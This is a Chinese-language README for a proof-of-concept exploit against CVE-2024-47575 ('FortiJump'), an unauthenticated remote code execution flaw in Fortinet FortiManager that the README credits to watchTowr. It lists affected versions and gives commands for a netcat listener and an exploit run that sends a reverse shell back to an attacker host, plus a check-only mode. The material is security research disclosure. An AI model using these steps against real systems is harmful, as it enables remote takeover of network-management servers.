CVE-2024-47575

Fortinet FortiManager 未经身份验证的远程代码执行，又名 FortiJump CVE-2024-47575

查看我们的博客文章了解技术细节

首先，建立你的 ncat 会话：

nc -lvvnp 80

然后，执行我们的检测产物生成器：

python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit

仅检查漏洞时，使用以下选项：

python3 CVE-2024-47575.py --target 192.168.1.110 --action check

受影响版本

FortiManager 7.6.0
FortiManager 7.4.0 至 7.4.4
FortiManager 7.2.0 至 7.2.7
FortiManager 7.0.0 至 7.0.12
FortiManager 6.4.0 至 6.4.14
FortiManager 6.2.0 至 6.2.12
FortiManager Cloud 7.4.1 至 7.4.4
FortiManager Cloud 7.2.1 至 7.2.7
FortiManager Cloud 7.0.1 至 7.0.12
FortiManager Cloud 6.4

漏洞作者

此漏洞利用程序由 watchTowr (@watchtowrcyber) 团队的编写

Fortijump-Exploit-CVE-2024-47575

最受欢迎

关注 watchTowr 实验室